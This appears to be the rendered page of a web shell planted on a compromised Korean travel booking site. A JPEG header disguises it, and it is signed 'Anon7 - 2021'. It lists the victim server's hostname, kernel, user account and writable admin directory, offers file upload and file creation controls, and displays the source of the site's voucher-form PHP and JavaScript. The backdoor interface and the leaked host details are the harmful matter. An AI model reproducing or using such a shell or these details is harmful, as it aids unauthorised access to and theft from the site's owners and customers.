ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/erp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/erp/VoucherForm.ajax.php
<?php 
/*
 *
 * 상품 예약 > voucher ajax
 *
 */
 
include "../include/top_proc.html";


// 신규예약
if(!$SqlType) $SqlType="res_update";


?>

voucher info


<p class="page_sub">
    VOUCHER 정보
</p>
<div class="data_cont">
    <div class="data_row">
        <div class="data_col">
            <div class="data_tit">
                코드타입.
            </div>
            <div class="data_detail">
                <div class="form_input_box chk">
                    <div class="form_check">
                        <input class="form_check_input" type="radio" id="type1-1" name="code_type" value="voucher">
                        <label class="form_check_label" for="type1-1">
                            Voucher Number
                        </label>
                    </div>
                    <div class="form_check">
                        <input class="form_check_input" type="radio" id="type1-2" name="code_type" value="qrcode">
                        <label class="form_check_label" for="type1-2">
                            QRCODE Number
                        </label>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<p class="page_sub">
    코드항목 수량
</p>
<div class="data_cont">
    <div class="data_row">
        <div class="data_col">
            <div class="data_tit">
                코드항목
            </div>
            <div class="data_detail">
                <div class="form_input_box">
                    <select name="code_num" id="code_num"  class="form_select" onchange="create_codeform();">
                        <option value="">==수량선택==</option>
                        <?for ($i=1 ; $i<=50 ; $i++){?>
                            <option value="<?=$i?>"><?=$i?>개</option>
                        <?}?>
                    </select>
                </div>
            </div>
        </div>
    </div>
</div>

<div class="data_cont b-0">
    <div class="data_row">
        <div class="data_col">
            <div class="data_tit">
                Guest Details
            </div>
            <div class="data_detail">
                <div class="tbl_wrap">
                    <table class="tbl" class="item_addon_guest_box">
                        <thead>
                        <tr>
                            <th>Name</th>
                            <th>Persons</th>
                            <th>Nationality</th>
                        </tr>
                        </thead>
                        <tbody>
                        <!--<tr>
                            <td class="sub">
                                홍길동
                            </td>
                            <td>
                                5
                            </td>
                            <td>
                                KR
                            </td>
                        </tr>-->
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>

<div class="data_cont b-0">
    <div class="data_row">
        <div class="data_col">
            <div class="data_tit">
                VOUCHER 사용방법
            </div>
            <div class="data_detail">
                <div class="tbl_wrap">
                    <table class="tbl tbl_voucher" id="setting_write_meeting">
                        <thead>
                        <tr>
                            <th>No.</th>
                            <th>내용</th>
                            <th></th>
                            <th></th>
                        </tr>
                        </thead>
                        <tbody>
                        <tr>
                            <td class="No">
                                1
                            </td>
                            <td class="text">
                                <input type="text" class="form_input" name="use_arr[]" class="input_text">
                            </td>
                            <td class="control col2" colspan="2">
                                <button type="button" class="btn clear add_voucher" onclick="useMethod('add');" >
                                    <span class="add_icon">
                                        <i class="xi-plus"></i>
                                    </span>
                                </button>
                            </td>
                            <!-- 태영 여기까지 진행 -->
                        </tr>
                        <tr>
                            <td class="No">
                                2
                            </td>
                            <td class="text">
                                <input type="text" class="form_input">
                            </td>
                            <td class="control">
                                <button type="button" class="btn clear add_voucher">
                                    <span class="add_icon">
                                        <i class="xi-plus"></i>
                                    </span>
                                </button>
                            </td>
                            <td class="control">
                                <button type="button" class="btn clear del_voucher">
                                    <span class="del_icon">
                                        <i class="xi-minus"></i>
                                    </span>
                                </button>
                            </td>
                        </tr>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
    <div class="data_row">
        <div class="data_col">
            <div class="data_tit">
                미팅장소 및 교환장소 (700 * 345px)
            </div>
            <div class="data_detail">
                <div class="form_file_box">
                    <label for="meeting_file" id="file_name" class="btn primary">
                        파일 첨부
                    </label>
                    <div id="meeting_file_name" class="file_name"></div>
                    <input type="file" class="form_input" id="meeting_file">
                    <div class="file_del2">
                        <i class="xi-close"></i>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="data_row">
        <div class="data_col">
            <div class="data_tit">
                Contact Us
            </div>
            <div class="data_detail">
                <div class="form_input_box">
                    <textarea class="form_input"></textarea>
                </div>
            </div>
        </div>
    </div>
</div>

<div class="page_btnbox right">
    <button type="button" class="btn primary">VOUCHER 저장</button>
</div>


<script type="text/javascript">

	// voucher code 추가
	function create_codeform() {

		//  voucher code 스크립트
		var html_addon_code ='';
		var code_num = $("#frm_voucher select[name='code_num']").val();
		var code_type = $("input[name='code_type']:checked").val();

		if(!code_type)	{
			alert('코드타입을 먼저 선택하세요!');
			return false;
		}

		if(code_type=='voucher') {
			$("#voucher_row").show();
			$("#qrcode_row").hide();

			for(var i=0; i<code_num; i++) {
				html_addon_code += '<tr>';
				html_addon_code += '	<td><input name="code_item_arr[]" type="text" class="input_text" style="width:80%"></td>';
				html_addon_code += '</tr>';
			}

			html_addon_code += '<input type="hidden" name="code_count" value="'+code_num+'">';

			$(".item_addon_code_box tbody").append(html_addon_code);


		} else if(code_type=='qrcode') {
			$("#voucher_row").hide();
			$("#qrcode_row").show();


			for(var i=0; i<code_num; i++) {
				html_addon_code += '<tr>';
				html_addon_code += '	<td><input name="code_file_arr[]" type="file" style="width:80%"></td>';
				html_addon_code += '</tr>';
			}

			html_addon_code += '<input type="hidden" name="code_count" value="'+code_num+'">';

			$(".item_addon_code_box2 tbody").append(html_addon_code);

		}

		//  guest code 스크립트
		var html_addon_guest ='';

		for(var i=0; i<code_num; i++) {
			html_addon_guest += '<tr>';
			html_addon_guest += '	<td><input name="guest_name_arr[]" type="text"></td>';
			html_addon_guest += '	<td><input name="guest_person_arr[]" type="text"></td>';
			html_addon_guest += '	<td><input name="guest_nationality_arr[]" type="text"></td>';
			html_addon_guest += '</tr>';
		}

		//html_addon_guest += '<input type="hidden" name="guest_num" value="'+code_num+'">';

		$(".item_addon_guest_box tbody").append(html_addon_guest);


	}


	function useMethod(_m,$o)
	{
		var str;

		var trNum = $("#setting_write_meeting tbody tr").length;
			
		str=	'<tr>'+
					'<td>'+trNum+'</td>'+
					'<td><input type="text" class="input_text" name="use_arr[]" value="" style="width:80%"></td>'+
					'<td><span onclick="useMethod(\'add\');" style="cursor:pointer;">╂</span> <span onclick="useMethod(\'del\',$(this));" style="cursor:pointer;">─</span></td>'+
					'</tr>';

		switch(_m){
			case "add":
					$("#setting_write_meeting tbody").append(str);
				break;
			case "del":
					$o.parent().parent("tr").remove();
				break;
		}
	}


</script>


		
		

Anon7 - 2021